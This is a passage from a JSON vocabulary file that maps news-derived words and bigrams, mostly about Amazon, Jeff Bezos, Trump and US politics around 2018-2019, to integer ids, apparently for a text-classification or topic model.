57822,\n  \"democratic pollster\": 57823,\n  \"digit figure\": 57824,\n  \"trillion albeit\": 57825,\n  \"community mobilization\": 57826,\n  \"commission post\": 57827,\n  \"list ustr\": 57828,\n  \"proposal according\": 57829,\n  \"democracy sake\": 57830,\n  \"hydrogen\": 57831,\n  \"routes\": 57832,\n  \"goods unless\": 57833,\n  \"trillion global\": 57834,\n  \"stopthebias showing\": 57835,\n  \"manufacturing base\": 57836,\n  \"rally wh\": 57837,\n  \"debut atypical\": 57838,\n  \"pillpack terms\": 57839,\n  \"334 shares\": 57840,\n  \"york describing\": 57841,\n  \"content president\": 57842,\n  \"worthy figure\": 57843,\n  \"cnn kaitlan\": 57844,\n  \"trump surprise\": 57845,\n  \"unprecedented power\": 57846,\n  \"treat\": 57847,\n  \"receive 2018\": 57848,\n  \"1230et\": 57849,\n  \"software firms\": 57850,\n  \"viverito\": 57851,\n  \"story doj\": 57852,\n  \"replacing obamacare\": 57853,\n  \"absent\": 57854,\n  \"192 nations\": 57855,\n  \"strathdee\": 57856,\n  \"macchio\": 57857,\n  \"creative force\": 57858,\n  \"overall wage\": 57859,\n  \"ashamed\": 57860,\n  \"coincide\": 57861,\n  \"cnn sad\": 57862,\n  \"videotape herera\": 57863,\n  \"amazon matter\": 57864,\n  \"x2x a4ee\": 57865,\n  \"chien\": 57866,\n  \"embracing exactly\": 57867,\n  \"times slamming\": 57868,\n  \"35k month\": 57869,\n  \"reportedly taken\": 57870,\n  \"storm brings\": 57871,\n  \"point did\": 57872,\n  \"dividing\": 57873,\n  \"movement mark\": 57874,\n  \"collaboration existed\": 57875,\n  \"ranch according\": 57876,\n  \"returning shows\": 57877,\n  \"hours following\": 57878,\n  \"mueller scope\": 57879,\n  \"legal advantages\": 57880,\n  \"wrote ami\": 57881,\n  \"juana summers\": 57882,\n  \"judiciary president\": 57883,\n  \"engineer investigated\": 57884,\n  \"days navarro\": 57885,\n  \"want sanctuary\": 57886,\n  \"rabobank senior\": 57887,\n  \"enable pre\": 57888,\n  \"police failed\": 57889,\n  \"4dg3xiy6\": 57890,\n  \"moguls largest\": 57891,\n  \"record quarterly\": 57892,\n  \"group designations\": 57893,\n  \"gosar\": 57894,\n  \"huge presence\": 57895,\n  \"commission meeting\": 57896,\n  \"retail future\": 57897,\n  \"3x\": 57898,\n  \"fear threats\": 57899,\n  \"trump pro\": 57900,\n  \"soon sarah\": 57901,\n  \"killed lions\": 57902,\n  \"mailed results\": 57903,\n  \"bezos attend\": 57904,\n  \"nyse peg\": 57905,\n  \"william riggs\": 57906,\n  \"business personally\": 57907,\n  \"broad\": 57908,\n  \"feds evans\": 57909,\n  \"america politics\": 57910,\n  \"real issues\": 57911,\n  \"dilation\": 57912,\n  \"endeavor powerful\": 57913,\n  \"public eye\": 57914,\n  \"footfall\": 57915,\n  \"converted\": 57916,\n  \"faced antitrust\": 57917,\n  \"bochner cmbochner\": 57918,\n  \"disseminating intimate\": 57919,\n  \"price earnings\": 57920,\n  \"subcontractors cis\": 57921,\n  \"kindel senior\": 57922,\n  \"bezos expicit\": 57923,\n  \"following trump\": 57924,\n  \"eu canada\": 57925,\n  \"foreign operations\": 57926,\n  \"stunning success\": 57927,\n  \"reuters article\": 57928,\n  \"record month\": 57929,\n  \"approving sinclair\": 57930,\n  \"trump shuttle\": 57931,\n  \"sailboats bobbed\": 57932,\n  \"just chased\": 57933,\n  \"christine haughney\": 57934,\n  \"environmentally\": 57935,\n  \"app appeared\": 57936,\n  \"blue jacket\": 57937,\n  \"pharmacy retailers\": 57938,\n  \"director sues\": 57939,\n  \"just erupted\": 57940,\n  \"pandora box\": 57941,\n  \"financial compensation\": 57942,\n  \"coming\": 57943,\n  \"chagrined\": 57944,\n  \"hard right\": 57945,\n  \"separately owns\": 57946,\n  \"snuffing\": 57947,\n  \"account cbc\": 57948,\n  \"territory tax\": 57949,\n  \"fight fake\": 57950,\n  \"majority party\": 57951,\n  \"trouble parking\": 57952,\n  \"belastingaangifte 2018\": 57953,\n  \"deal chris\": 57954,\n  \"support homeless\": 57955,\n  \"2018 trial\": 57956,\n  \"450 families\": 57957,\n  \"published massive\": 57958,\n  \"survivor wife\": 57959,\n  \"radically reduced\": 57960,\n  \"skit took\": 57961,\n  \"2022 key\": 57962,\n  \"main sources\": 57963,\n  \"undocublack\": 57964,\n  \"service report\": 57965,\n  \"commerce policy\": 57966,\n  \"progressive tax\": 57967,\n  \"smialowski afp\": 57968,\n  \"crooked hillary\": 57969,\n  \"technologies raises\": 57970,\n  \"hear woman\": 57971,\n  \"taxi strike\": 57972,\n  \"conf\": 57973,\n  \"professor ford\": 57974,\n  \"gain exclusive\": 57975,\n  \"need new\": 57976,\n  \"emails uncovered\": 57977,\n  \"halliburton eli\": 57978,\n  \"furious\": 57979,\n  \"divorce statement\": 57980,\n  \"talks abruptly\": 57981,\n  \"content guidelines\": 57982,\n  \"term view\": 57983,\n  \"negotiating power\": 57984,\n  \"salman wsj\": 57985,\n  \"stock indices\": 57986,\n  \"naval uniform\": 57987,\n  \"mae mother\": 57988,\n  \"2018 cnn\": 57989,\n  \"discussion uss\": 57990,\n  \"131 z8\": 57991,\n  \"unsubstantiated research\": 57992,\n  \"washington bridge\": 57993,\n  \"immediately comment\": 57994,\n  \"shorter delivered\": 57995,\n  \"sharing\": 57996,\n  \"rural post\": 57997,\n  \"apple microsoft\": 57998,\n  \"newest guidelines\": 57999,\n  \"wins dod\": 58000,\n  \"dryers\": 58001,\n  \"peers respect\": 58002,\n  \"area\": 58003,\n  \"antitrust lawyer\": 58004,\n  \"big reduction\": 58005,\n  \"new relevance\": 58006,\n  \"millennial consumer\": 58007,\n  \"420 000\": 58008,\n  \"enable britain\": 58009,\n  \"mnuchin led\": 58010,\n  \"advertising trends\": 58011,\n  \"marketing angle\": 58012,\n  \"leaves delivery\": 58013,\n  \"valid criticisms\": 58014,\n  \"dodges\": 58015,\n  \"sim\\u00f5es sao\": 58016,\n  \"posted job\": 58017,\n  \"walmart did\": 58018,\n  \"wouldn publish\": 58019,\n  \"biggest competitor\": 58020,\n  \"problem ford\": 58021,\n  \"regional council\": 58022,\n  \"lineup real\": 58023,\n  \"anticompetitive fashion\": 58024,\n  \"breather\": 58025,\n  \"cap wrote\": 58026,\n  \"commodities\": 58027,\n  \"king correspondent\": 58028,\n  \"brexit chaos\": 58029,\n  \"elizabeth heiskell\": 58030,\n  \"80m shares\": 58031,\n  \"doesn incentivize\": 58032,\n  \"amazon isn\": 58033,\n  \"macro strategist\": 58034,\n  \"attorney bryan\": 58035,\n  \"health kristen\": 58036,\n  \"york democrat\": 58037,\n  \"source speaking\": 58038,\n  \"options according\": 58039,\n  \"read ellison\": 58040,\n  \"dow member\": 58041,\n  \"shell organization\": 58042,\n  \"trump clinches\": 58043,\n  \"goodlatte told\": 58044,\n  \"cuomo idc\": 58045,\n  \"old played\": 58046,\n  \"offering employees\": 58047,\n  \"creating copycat\": 58048,\n  \"spoken aloud\": 58049,\n  \"added republicans\": 58050,\n  \"enforcers\": 58051,\n  \"managed etf\": 58052,\n  \"ideologically motivated\": 58053,\n  \"information access\": 58054,\n  \"reuters aly\": 58055,\n  \"years kroger\": 58056,\n  \"holds barred\": 58057,\n  \"authority ncyha\": 58058,\n  \"states took\": 58059,\n  \"margin guidance\": 58060,\n  \"bank zion\": 58061,\n  \"b5q b8\": 58062,\n  \"additionally told\": 58063,\n  \"bolsonaro time\": 58064,\n  \"fq2\": 58065,\n  \"library book\": 58066,\n  \"precious simon\": 58067,\n  \"second volume\": 58068,\n  \"date service\": 58069,\n  \"economy big\": 58070,\n  \"device reportedly\": 58071,\n  \"bbq master\": 58072,\n  \"lawsuit tl\": 58073,\n  \"celeb divorce\": 58074,\n  \"msnbc cnn\": 58075,\n  \"cold wikileaks\": 58076,\n  \"leaving office\": 58077,\n  \"agency ramped\": 58078,\n  \"rnc\": 58079,\n  \"mobile kitchen\": 58080,\n  \"owned industries\": 58081,\n  \"corp writes\": 58082,\n  \"challenging market\": 58083,\n  \"ponder\": 58084,\n  \"amazon aired\": 58085,\n  \"work ethic\": 58086,\n  \"pratt celebrated\": 58087,\n  \"everytown momsdemand\": 58088,\n  \"significant usps\": 58089,\n  \"old jeremy\": 58090,\n  \"showrunner\": 58091,\n  \"annual film\": 58092,\n  \"host waylaid\": 58093,\n  \"seemingly small\": 58094,\n  \"cafaro philippe\": 58095,\n  \"movie story\": 58096,\n  \"plan cuomo\": 58097,\n  \"51s2p totalshtrump\": 58098,\n  \"dying lawmakers\": 58099,\n  \"area council\": 58100,\n  \"uu goods\": 58101,\n  \"vowed\": 58102,\n  \"t000023122\": 58103,\n  \"eccleston\": 58104,\n  \"relations firm\": 58105,\n  \"class center\": 58106,\n  \"expressed dissatisfaction\": 58107,\n  \"used peek\": 58108,\n  \"publishes hard\": 58109,\n  \"member venezuela\": 58110,\n  \"android hosts\": 58111,\n  \"culture rotten\": 58112,\n  \"6zac41n2qru read\": 58113,\n  \"supporter civil\": 58114,\n  \"heavily invested\": 58115,\n  \"2019 manuel\": 58116,\n  \"francis\": 58117,\n  \"bookerly\": 58118,\n  \"idg2osapfp\": 58119,\n  \"prime attractive\": 58120,\n  \"second oversight\": 58121,\n  \"men khakis\": 58122,\n  \"sharp difference\": 58123,\n  \"discriminatory\": 58124,\n  \"nbc nightly\": 58125,\n  \"grounded\": 58126,\n  \"benevolent\": 58127,\n  \"elegant\": 58128,\n  \"weighting\": 58129,\n  \"extraordinary partner\": 58130,\n  \"paul weiss\": 58131,\n  \"default_default\": 58132,\n  \"wyoming governors\": 58133,\n  \"accept responsibility\": 58134,\n  \"reparations fund\": 58135,\n  \"enters harbouring\": 58136,\n  \"predatory lender\": 58137,\n  \"horrendous billion\": 58138,\n  \"spokesman pointed\": 58139,\n  \"primary work\": 58140,\n  \"administration rolling\": 58141,\n  \"hang toddler\": 58142,\n  \"schools kids\": 58143,\n  \"word monopoly\": 58144,\n  \"analyst cheers\": 58145,\n  \"expect new\": 58146,\n  \"company methods\": 58147,\n  \"tumultuous time\": 58148,\n  \"albeit\": 58149,\n  \"watch lottery\": 58150,\n  \"intruder jailed\": 58151,\n  \"triple current\": 58152,\n  \"sciences closes\": 58153,\n  \"companies hefty\": 58154,\n  \"additional border\": 58155,\n  \"ons\": 58156,\n  \"mccabe senate\": 58157,\n  \"wield partisan\": 58158,\n  \"mish mash\": 58159,\n  \"profoundly\": 58160,\n  \"longer taken\": 58161,\n  \"services llc\": 58162,\n  \"stones abducted\": 58163,\n  \"cutting strategies\": 58164,\n  \"shmuley\": 58165,\n  \"headlined pentagon\": 58166,\n  \"1997 alice\": 58167,\n  \"mere book\": 58168,\n  \"attacked america\": 58169,\n  \"gas stations\": 58170,\n  \"plant activators\": 58171,\n  \"companies allowed\": 58172,\n  \"position giving\": 58173,\n  \"danish abelskiver\": 58174,\n  \"explainer video\": 58175,\n  \"high crosstalk\": 58176,\n  \"fedex capabilities\": 58177,\n  \"chose rep\": 58178,\n  \"trade wine\": 58179,\n  \"assets 181001125327\": 58180,\n  \"sexual blackmail\": 58181,\n  \"interview comments\": 58182,\n  \"high windows\": 58183,\n  \"aerospace angle\": 58184,\n  \"gobble\": 58185,\n  \"volcker\": 58186,\n  \"sean jeff\": 58187,\n  \"practically trump\": 58188,\n  \"york getting\": 58189,\n  \"bigger paycheck\": 58190,\n  \"welles rbg\": 58191,\n  \"brief delay\": 58192,\n  \"fighting development\": 58193,\n  \"operationsnear\": 58194,\n  \"average job\": 58195,\n  \"carefully slowly\": 58196,\n  \"feature\": 58197,\n  \"starbucks ceo\": 58198,\n  \"mario cuomo\": 58199,\n  \"day social\": 58200,\n  \"skynews\": 58201,\n  \"heeds\": 58202,\n  \"recession\": 58203,\n  \"washington state\": 58204,\n  \"2018 sun\": 58205,\n  \"welfare benefits\": 58206,\n  \"states microsoft\": 58207,\n  \"heavier thanks\": 58208,\n  \"taunted\": 58209,\n  \"sidelines\": 58210,\n  \"notorious la\": 58211,\n  \"guard recruit\": 58212,\n  \"faced specific\": 58213,\n  \"lynched\": 58214,\n  \"story time\": 58215,\n  \"americans think\": 58216,\n  \"enquirer blackmail\": 58217,\n  \"queens representing\": 58218,\n  \"widely debunked\": 58219,\n  \"make inaccurate\": 58220,\n  \"van heuvelen\": 58221,\n  \"usual right\": 58222,\n  \"matters grew\": 58223,\n  \"enthused\": 58224,\n  \"child outlining\": 58225,\n  \"hippie furniture\": 58226,\n  \"campaign trail\": 58227,\n  \"trading lc\": 58228,\n  \"history dividing\": 58229,\n  \"work deporting\": 58230,\n  \"users agree\": 58231,\n  \"cub afghanistan\": 58232,\n  \"hosts posted\": 58233,\n  \"information private\": 58234,\n  \"boys rehab\": 58235,\n  \"competition great\": 58236,\n  \"hoge\": 58237,\n  \"mortgage payment\": 58238,\n  \"packages suspected\": 58239,\n  \"senorrinhatch\": 58240,\n  \"protestors storm\": 58241,\n  \"aardvark hot\": 58242,\n  \"regulations including\": 58243,\n  \"refuse medical\": 58244,\n  \"relationships including\": 58245,\n  \"largest homes\": 58246,\n  \"deep faith\": 58247,\n  \"var containercontents\": 58248,\n  \"follows apple\": 58249,\n  \"deadspin\": 58250,\n  \"known associate\": 58251,\n  \"latest experimental\": 58252,\n  \"interrogations\": 58253,\n  \"intelligence committee\": 58254,\n  \"subtly hinted\": 58255,\n  \"reveals\": 58256,\n  \"george zimmerman\": 58257,\n  \"ngan afp\": 58258,\n  \"energy successful\": 58259,\n  \"microsoft maria\": 58260,\n  \"different time\": 58261,\n  \"uber crony\": 58262,\n  \"cvp\": 58263,\n  \"house charge\": 58264,\n  \"tome\": 58265,\n  \"j\\u00f6rg carstensen\": 58266,\n  \"speciously\": 58267,\n  \"undisciplined entitlement\": 58268,\n  \"trump lover\": 58269,\n  \"free educationfrom\": 58270,\n  \"emerges\": 58271,\n  \"collect children\": 58272,\n  \"growing outrage\": 58273,\n  \"sold loss\": 58274,\n  \"direct effort\": 58275,\n  \"public reputation\": 58276,\n  \"measures promulgated\": 58277,\n  \"atlantic regional\": 58278,\n  \"abuse amazons\": 58279,\n  \"makes spy\": 58280,\n  \"used group\": 58281,\n  \"guessing game\": 58282,\n  \"requires foreign\": 58283,\n  \"gambling\": 58284,\n  \"simple things\": 58285,\n  \"500 spx\": 58286,\n  \"deforestation advanced\": 58287,\n  \"amazon signed\": 58288,\n  \"play videoid\": 58289,\n  \"long resisted\": 58290,\n  \"processing strategies\": 58291,\n  \"2015 big\": 58292,\n  \"load online\": 58293,\n  \"start questioning\": 58294,\n  \"soon introduce\": 58295,\n  \"congolese say\": 58296,\n  \"describing rekognition\": 58297,\n  \"states excluding\": 58298,\n  \"sweet home\": 58299,\n  \"memorywell news\": 58300,\n  \"toga\": 58301,\n  \"told big\": 58302,\n  \"analyst warned\": 58303,\n  \"demanding review\": 58304,\n  \"manzoor\": 58305,\n  \"proposed amendments\": 58306,\n  \"extra workers\": 58307,\n  \"time personal\": 58308,\n  \"better job\": 58309,\n  \"purdue pharmaceuticals\": 58310,\n  \"logic does\": 58311,\n  \"giant generated\": 58312,\n  \"feminist views\": 58313,\n  \"australian associated\": 58314,\n  \"getty rick\": 58315,\n  \"herbert hovenkamp\": 58316,\n  \"ultimate trump\": 58317,\n  \"2020 steve\": 58318,\n  \"space moves\": 58319,\n  \"eastthe trip\": 58320,\n  \"rushing rushing\": 58321,\n  \"voting site\": 58322,\n  \"c5q switch\": 58323,\n  \"adalynn\": 58324,\n  \"cash grants\": 58325,\n  \"shorts wear\": 58326,\n  \"hunt president\": 58327,\n  \"cases 2018\": 58328,\n  \"winemakers\": 58329,\n  \"anti skid\": 58330,\n  \"fun ride\": 58331,\n  \"wants small\": 58332,\n  \"vt leading\": 58333,\n  \"france presse\": 58334,\n  \"lindsay\": 58335,\n  \"stanley earnings\": 58336,\n  \"life arts\": 58337,\n  \"bancorp\": 58338,\n  \"speculating\": 58339,\n  \"poor pay\": 58340,\n  \"morning newsletter\": 58341,\n  \"calendar kind\": 58342,\n  \"jumping right\": 58343,\n  \"reported follow\": 58344,\n  \"profits sheltered\": 58345,\n  \"agencies despite\": 58346,\n  \"huge player\": 58347,\n  \"amazon model\": 58348,\n  \"centric restructuring\": 58349,\n  \"immediately cease\": 58350,\n  \"god kings\": 58351,\n  \"post owning\": 58352,\n  \"adobe chances\": 58353,\n  \"executefeature videx\": 58354,\n  \"shopping tips\": 58355,\n  \"smash\": 58356,\n  \"energy green\": 58357,\n  \"vocational education\": 58358,\n  \"humanitarian crisis\": 58359,\n  \"kindle store\": 58360,\n  \"stubby ratcheting\": 58361,\n  \"seemingly self\": 58362,\n  \"hours worked\": 58363,\n  \"possible administration\": 58364,\n  \"quite\\u0430an\": 58365,\n  \"voting power\": 58366,\n  \"bored\": 58367,\n  \"utilize amazon\": 58368,\n  \"wilson mark\": 58369,\n  \"roiled\": 58370,\n  \"code 527\": 58371,\n  \"passed away\": 58372,\n  \"mass psychology\": 58373,\n  \"join isis\": 58374,\n  \"vote counts\": 58375,\n  \"hello kitty\": 58376,\n  \"chinnappa file\": 58377,\n  \"tech community\": 58378,\n  \"recode_logomark recode\": 58379,\n  \"2018 shame\": 58380,\n  \"rossignol\": 58381,\n  \"treats\": 58382,\n  \"store employees\": 58383,\n  \"chasing\": 58384,\n  \"largest fortune\": 58385,\n  \"zell\": 58386,\n  \"previously recused\": 58387,\n  \"program available\": 58388,\n  \"citizens pocketbooks\": 58389,\n  \"facebook tweet\": 58390,\n  \"lukas\": 58391,\n  \"spokesman craig\": 58392,\n  \"usps revenues\": 58393,\n  \"amazons bezos\": 58394,\n  \"actor pulled\": 58395,\n  \"think big\": 58396,\n  \"key difference\": 58397,\n  \"investigatory\": 58398,\n  \"survivors seek\": 58399,\n  \"profit healthcare\": 58400,\n  \"subscriber forecasts\": 58401,\n  \"1947 wawx\": 58402,\n  \"undercut paypal\": 58403,\n  \"speculators\": 58404,\n  \"bottled water\": 58405,\n  \"abortion enabled\": 58406,\n  \"time soon\": 58407,\n  \"picture taken\": 58408,\n  \"reasons stamps\": 58409,\n  \"follow newsy\": 58410,\n  \"familiar domestic\": 58411,\n  \"folks cited\": 58412,\n  \"perished\": 58413,\n  \"john saying\": 58414,\n  \"explores speed\": 58415,\n  \"pete murphy\": 58416,\n  \"resist rising\": 58417,\n  \"auction rolling\": 58418,\n  \"banking hong\": 58419,\n  \"balms\": 58420,\n  \"billion politifact\": 58421,\n  \"rescue published\": 58422,\n  \"diminishing returns\": 58423,\n  \"companies provide\": 58424,\n  \"michael liedtke\": 58425,\n  \"shopper perk\": 58426,\n  \"nov 2004\": 58427,\n  \"darn tootin\": 58428,\n  \"100 amazon\": 58429,\n  \"holders dream\": 58430,\n  \"peaceful\": 58431,\n  \"reliable politics\": 58432,\n  \"unlawfully withheld\": 58433,\n  \"actress lucia\": 58434,\n  \"additional letter\": 58435,\n  \"ayers\": 58436,\n  \"freedom partners\": 58437,\n  \"access rules\": 58438,\n  \"thinly spread\": 58439,\n  \"appeal amazon\": 58440,\n  \"digital subscribers\": 58441,\n  \"720\": 58442,\n  \"savings plans\": 58443,\n  \"story police\": 58444,\n  \"summarizes trump\": 58445,\n  \"linton tell\": 58446,\n  \"zuker danny\": 58447,\n  \"policy push\": 58448,\n  \"583m\": 58449,\n  \"just reported\": 58450,\n  \"negative territory\": 58451,\n  \"hari kondabolu\": 58452,\n  \"new florida\": 58453,\n  \"sided deals\": 58454,\n  \"environment vanity\": 58455,\n  \"latest analyst\": 58456,\n  \"tube included\": 58457,\n  \"assistant device\": 58458,\n  \"sold 214\": 58459,\n  \"consumer awareness\": 58460,\n  \"recommendations coalition\": 58461,\n  \"second steve\": 58462,\n  \"build larger\": 58463,\n  \"tagay amazon\": 58464,\n  \"2015et copyright\": 58465,\n  \"military ai\": 58466,\n  \"earnings prime\": 58467,\n  \"imagine lionel\": 58468,\n  \"wieser 920\": 58469,\n  \"improve patient\": 58470,\n  \"concerned don\": 58471,\n  \"twitter kind\": 58472,\n  \"balqa\": 58473,\n  \"body parts\": 58474,\n  \"investors fret\": 58475,\n  \"instead asking\": 58476,\n  \"trump sought\": 58477,\n  \"contracts cover\": 58478,\n  \"awaited\": 58479,\n  \"messaging big\": 58480,\n  \"emilyelarsen\": 58481,\n  \"appointed environment\": 58482,\n  \"volumes including\": 58483,\n  \"factory foto\": 58484,\n  \"sec cantillon\": 58485,\n  \"network mukesh\": 58486,\n  \"new field\": 58487,\n  \"sales volume\": 58488,\n  \"annual allen\": 58489,\n  \"amazon managed\": 58490,\n  \"turn china\": 58491,\n  \"boss happy\": 58492,\n  \"campaign frequently\": 58493,\n  \"8am\": 58494,\n  \"pull huckleberry\": 58495,\n  \"pacifica qualify\": 58496,\n  \"ballet classes\": 58497,\n  \"new minority\": 58498,\n  \"laid\": 58499,\n  \"repeated calls\": 58500,\n  \"cultures adapted\": 58501,\n  \"outstanding contributions\": 58502,\n  \"deal mentioned\": 58503,\n  \"sarsgaard\": 58504,\n  \"amazon regions\": 58505,\n  \"5ehequal77\": 58506,\n  \"time kosinski\": 58507,\n  \"single subway\": 58508,\n  \"week publisher\": 58509,\n  \"just reap\": 58510,\n  \"says quote\": 58511,\n  \"l6\": 58512,\n  \"says hell\": 58513,\n  \"443\": 58514,\n  \"resident opposing\": 58515,\n  \"fbi amazon\": 58516,\n  \"strikes blow\": 58517,\n  \"blatantly gerrymandered\": 58518,\n  \"hides\": 58519,\n  \"alum\": 58520,\n  \"supported john\": 58521,\n  \"planning process\": 58522,\n  \"faster deliveries\": 58523,\n  \"murray remarks\": 58524,\n  \"changed day\": 58525,\n  \"story anti\": 58526,\n  \"time oscar\": 58527,\n  \"recognised\": 58528,\n  \"walmart nextday\": 58529,\n  \"unbridled\": 58530,\n  \"historic nonfiction\": 58531,\n  \"lf lf2\": 58532,\n  \"idg communications\": 58533,\n  \"emboldening\": 58534,\n  \"longterm obsession\": 58535,\n  \"rep hakeem\": 58536,\n  \"zone vintage\": 58537,\n  \"quarles\": 58538,\n  \"based internet\": 58539,\n  \"known friendship\": 58540,\n  \"desperate man\": 58541,\n  \"downside big\": 58542,\n  \"sharp\": 58543,\n  \"hyperbole\": 58544,\n  \"south indian\": 58545,\n  \"responsible today\": 58546,\n  \"scarbro\": 58547,\n  \"hostile rhetoric\": 58548,\n  \"bad employers\": 58549,\n  \"just trying\": 58550,\n  \"smackdown television\": 58551,\n  \"glimmer\": 58552,\n  \"students new\": 58553,\n  \"photos alyssa\": 58554,\n  \"j0 defineproperties\": 58555,\n  \"gutting malls\": 58556,\n  \"stone carter\": 58557,\n  \"including ibm\": 58558,\n  \"told new\": 58559,\n  \"replied yes\": 58560,\n  \"taker\": 58561,\n  \"kris\": 58562,\n  \"real human\": 58563,\n  \"jose\": 58564,\n  \"initially rallied\": 58565,\n  \"trip gop\": 58566,\n  \"drc president\": 58567,\n  \"avenue begins\": 58568,\n  \"captivated\": 58569,\n  \"fight amazon\": 58570,\n  \"easy narrowing\": 58571,\n  \"2009 reuters\": 58572,\n  \"shows guess\": 58573,\n  \"exploiting\": 58574,\n  \"people polled\": 58575,\n  \"personally attempted\": 58576,\n  \"longstanding issues\": 58577,\n  \"bradcast\": 58578,\n  \"length\": 58579,\n  \"trump boycott\": 58580,\n  \"jeannie mai\": 58581,\n  \"limits noah\": 58582,\n  \"special incentives\": 58583,\n  \"consecutive session\": 58584,\n  \"market stocks\": 58585,\n  \"customers away\": 58586,\n  \"representatives maybe\": 58587,\n  \"oversharing\": 58588,\n  \"million federal\": 58589,\n  \"assembly\": 58590,\n  \"fatal heart\": 58591,\n  \"campuses safe\": 58592,\n  \"product line\": 58593,\n  \"44m\": 58594,\n  \"years manufacturers\": 58595,\n  \"retaliating equally\": 58596,\n  \"reince priebus\": 58597,\n  \"a4ee return\": 58598,\n  \"precise specification\": 58599,\n  \"sailor shown\": 58600,\n  \"dod revealed\": 58601,\n  \"beating views\": 58602,\n  \"craving\": 58603,\n  \"purpose according\": 58604,\n  \"independent estimate\": 58605,\n  \"year pharmacy\": 58606,\n  \"chinas yuan\": 58607,\n  \"george hornedo\": 58608,\n  \"pulling\": 58609,\n  \"bureau director\": 58610,\n  \"pointedly questioned\": 58611,\n  \"enter correction\": 58612,\n  \"work incentives\": 58613,\n  \"veniste\": 58614,\n  \"tuesdaybecame\": 58615,\n  \"omx\": 58616,\n  \"america satisfaction\": 58617,\n  \"dresser\": 58618,\n  \"denounce administrative\": 58619,\n  \"nbc london\": 58620,\n  \"place washington\": 58621,\n  \"makes positive\": 58622,\n  \"gentle songman\": 58623,\n  \"shakespearean actor\": 58624,\n  \"slightly uncomfy\": 58625,\n  \"jeff greenfield\": 58626,\n  \"teaches\": 58627,\n  \"young democratic\": 58628,\n  \"numerous background\": 58629,\n  \"comment settings\": 58630,\n  \"outside washington\": 58631,\n  \"report print\": 58632,\n  \"orman puts\": 58633,\n  \"hanya\": 58634,\n  \"rightly\": 58635,\n  \"amazon shareholders\": 58636,\n  \"miller amazon\": 58637,\n  \"brexit european\": 58638,\n  \"day job\": 58639,\n  \"including planned\": 58640,\n  \"ensuing\": 58641,\n  \"company continues\": 58642,\n  \"president favorite\": 58643,\n  \"typically remain\": 58644,\n  \"election simulation\": 58645,\n  \"mdma\": 58646,\n  \"disappears best\": 58647,\n  \"completely barmy\": 58648,\n  \"tangible personal\": 58649,\n  \"enterprise court\": 58650,\n  \"importantly companies\": 58651,\n  \"corporate project\": 58652,\n  \"helped low\": 58653,\n  \"military needs\": 58654,\n  \"1026et\": 58655,\n  \"released florida\": 58656,\n  \"girard\": 58657,\n  \"jack bogle\": 58658,\n  \"shirtless\": 58659,\n  \"perceives\": 58660,\n  \"staunchest allies\": 58661,\n  \"trump states\": 58662,\n  \"recession warning\": 58663,\n  \"trauma patients\": 58664,\n  \"flood washed\": 58665,\n  \"receive response\": 58666,\n  \"towns losing\": 58667,\n  \"pong\": 58668,\n  \"32bj seiu\": 58669,\n  \"devos sued\": 58670,\n  \"2019_10\": 58671,\n  \"dudamel\": 58672,\n  \"user friendly\": 58673,\n  \"wilmington trust\": 58674,\n  \"government entity\": 58675,\n  \"d6\": 58676,\n  \"study amazon\": 58677,\n  \"cronyism journey\": 58678,\n  \"people run\": 58679,\n  \"nightmare scenario\": 58680,\n  \"networking gear\": 58681,\n  \"company generates\": 58682,\n  \"alimony payments\": 58683,\n  \"wore contrasting\": 58684,\n  \"data lazyauto\": 58685,\n  \"hustled\": 58686,\n  \"action news\": 58687,\n  \"golan heights\": 58688,\n  \"possible trump\": 58689,\n  \"perfection\": 58690,\n  \"wyunhjjujg donald\": 58691,\n  \"annual benefit\": 58692,\n  \"blackmailing jeff\": 58693,\n  \"behalf outline\": 58694,\n  \"amazon withdrawal\": 58695,\n  \"citizen concerns\": 58696,\n  \"related mark\": 58697,\n  \"customers pretty\": 58698,\n  \"sept piece\": 58699,\n  \"biggest say\": 58700,\n  \"current survey\": 58701,\n  \"period different\": 58702,\n  \"reporting pot\": 58703,\n  \"elected\": 58704,\n  \"depress\": 58705,\n  \"political disaster\": 58706,\n  \"label brands\": 58707,\n  \"98point6 service\": 58708,\n  \"want fast\": 58709,\n  \"tremendously positive\": 58710,\n  \"weibo\": 58711,\n  \"america free\": 58712,\n  \"judge earlier\": 58713,\n  \"hour according\": 58714,\n  \"software rocketed\": 58715,\n  \"unprecedented competition\": 58716,\n  \"policy amazon_policy\": 58717,\n  \"republican challenger\": 58718,\n  \"fourth\": 58719,\n  \"censorship cnn\": 58720,\n  \"figures liesman\": 58721,\n  \"organization hotel\": 58722,\n  \"tech platforms\": 58723,\n  \"time workers\": 58724,\n  \"pirro pirro\": 58725,\n  \"workforce demographics\": 58726,\n  \"development subsidies\": 58727,\n  \"story ideals\": 58728,\n  \"private moments\": 58729,\n  \"objects\": 58730,\n  \"undercount bomb\": 58731,\n  \"c8 c2x\": 58732,\n  \"threatening amid\": 58733,\n  \"constitute winning\": 58734,\n  \"provide appropriate\": 58735,\n  \"levine\": 58736,\n  \"opened formal\": 58737,\n  \"profile photo\": 58738,\n  \"exceptional work\": 58739,\n  \"2018 glancy\": 58740,\n  \"new conquistador\": 58741,\n  \"southern rebellion\": 58742,\n  \"doesn promote\": 58743,\n  \"fake commercial\": 58744,\n  \"city project\": 58745,\n  \"portrait\": 58746,\n  \"superficiality\": 58747,\n  \"tough investment\": 58748,\n  \"costs money\": 58749,\n  \"new economy\": 58750,\n  \"respective spouses\": 58751,\n  \"posted notice\": 58752,\n  \"delivery indefinite\": 58753,\n  \"downright\": 58754,\n  \"equally effective\": 58755,\n  \"hannity\": 58756,\n  \"strategic plan\": 58757,\n  \"afternoon\": 58758,\n  \"force influenced\": 58759,\n  \"trailer starring\": 58760,\n  \"cities realized\": 58761,\n  \"frum thinks\": 58762,\n  \"unauthorized fake\": 58763,\n  \"buddy rizer\": 58764,\n  \"2014elections\": 58765,\n  \"biggest winners\": 58766,\n  \"gove\": 58767,\n  \"leading futures\": 58768,\n  \"willimon\": 58769,\n  \"source kiwiblog\": 58770,\n  \"apologists\": 58771,\n  \"paid distribution\": 58772,\n  \"bipartisan bills\": 58773,\n  \"lower productivity\": 58774,\n  \"josh rhoten\": 58775,\n  \"ofthe power\": 58776,\n  \"markets make\": 58777,\n  \"stores yes\": 58778,\n  \"remarks tweeted\": 58779,\n  \"vanguard index\": 58780,\n  \"making comeback\": 58781,\n  \"tweets just\": 58782,\n  \"senate look\": 58783,\n  \"walk away\": 58784,\n  \"total bs\": 58785,\n  \"probably remain\": 58786,\n  \"tweeted mackenzie\": 58787,\n  \"kudlow calling\": 58788,\n  \"growing led\": 58789,\n  \"holdings 184\": 58790,\n  \"actually buy\": 58791,\n  \"look forward\": 58792,\n  